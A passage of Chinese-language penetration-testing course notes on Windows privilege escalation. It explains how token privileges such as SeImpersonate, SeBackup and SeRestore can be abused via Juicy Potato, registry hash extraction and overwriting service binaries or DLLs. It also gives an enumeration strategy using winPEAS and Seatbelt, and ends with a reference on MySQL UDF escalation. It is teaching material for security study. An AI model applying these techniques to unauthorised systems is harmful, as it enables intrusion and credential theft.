SeDebugPrivilege
權限,但僅支持 x86 架構 -
在現代系統中,不應將
getsystem
視為從普通用戶(user)提升到管理員(admin)的方法
用戶權限(User Privileges)
用戶權限簡介
在 Windows 中,用戶賬戶和組可被分配特定的 “權限”(privileges),這些權限授予用戶執行特定操作的能力。 部分權限可用于將整體權限提升到 SYSTEM 級別。
相關詳細文檔:GitHub - hatRiot/token-priv: Token Privilege Research
列出當前用戶的權限
使用whoami
命令的/priv
選項,可列出當前用戶的權限:
cmd
> whoami /priv
注:“State”(狀態)列中的 “disabled”(已禁用)無關緊要 —— 只要權限被列出,當前用戶就擁有該權限。
SeImpersonatePrivilege
SeImpersonatePrivilege
權限允許用戶偽造其可獲取的任何訪問令牌。 若能獲取 SYSTEM 進程的訪問令牌,即可使用該令牌生成新進程。 前文介紹的 Juicy Potato 漏洞利用工具即利用此權限。
SeAssignPrimaryPrivilege
SeAssignPrimaryPrivilege
權限與SeImpersonatePrivilege
類似,允許用戶將訪問令牌分配給新進程。 該權限同樣可通過 Juicy Potato 漏洞利用工具濫用。
SeBackupPrivilege
SeBackupPrivilege
權限授予用戶讀取系統中所有對象的權限,無論這些對象的 ACL 如何配置。 利用此權限,用戶可訪問敏感文件,或從注冊表中提取哈希(進而破解哈希或用于哈希傳遞攻擊)。
SeRestorePrivilege
SeRestorePrivilege
權限授予用戶寫入系統中所有對象的權限,無論這些對象的 ACL 如何配置。 濫用此權限的方式有多種:
-
修改服務二進制文件(service binaries)
-
覆蓋 SYSTEM 進程使用的 DLL
-
修改注冊表設置(registry settings)
SeTakeOwnershipPrivilege
SeTakeOwnershipPrivilege
權限允許用戶獲取對象的所有權(即WRITE_OWNER
權限)。 獲取對象所有權后,可修改該對象的 ACL,為自己授予寫入權限,后續操作與濫用SeRestorePrivilege
相同。
其他權限(進階)
-
SeTcbPrivilege
-
SeCreateTokenPrivilege
-
SeLoadDriverPrivilege
-
SeDebugPrivilege
(getsystem
命令使用此權限)
權限提升策略(Privilege Escalation Strategy)
枚舉(Enumeration)
-
檢查當前用戶(使用
whoami
)和所屬組(使用net user <用戶名>
) -
運行 winPEAS,使用
fast
、searchfast
和cmd
選項 -
同時運行 Seatbelt 及其他腳本
-
若腳本運行失敗且原因不明,可手動運行本課程中的命令,或參考網上的 Windows 權限提升速查表(如:PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md at master · swisskyrepo/PayloadsAllTheThings · GitHub)
策略建議 1
花時間閱讀枚舉結果:若 winPEAS 或其他工具發現可疑內容,做好記錄。 通過創建 “權限提升所需條件清單”,避免陷入無效嘗試(rabbit holes)。
策略建議 2
瀏覽當前用戶桌面及其他常見目錄(如C:\
、C:\Program Files
)中的文件。 閱讀發現的可疑文件 —— 其中可能包含有助于權限提升的有用信息。
策略建議 3
優先嘗試步驟較少的方法(如注冊表漏洞利用、服務配置錯誤利用等)。 仔細查看管理員進程(admin processes),枚舉其版本并搜索相關漏洞。 檢查是否存在可轉發到攻擊機(attacking machine)的內部端口。
策略建議 4
若仍未獲取管理員 shell,重新閱讀完整的枚舉結果,高亮顯示異常內容(如不熟悉的進程名、文件名或用戶名)。 此時可開始考慮使用 Kernel 漏洞利用(Kernel Exploits)。
mysql的udf提權
參考文獻:
Mysql之UDF提權-CSDN博客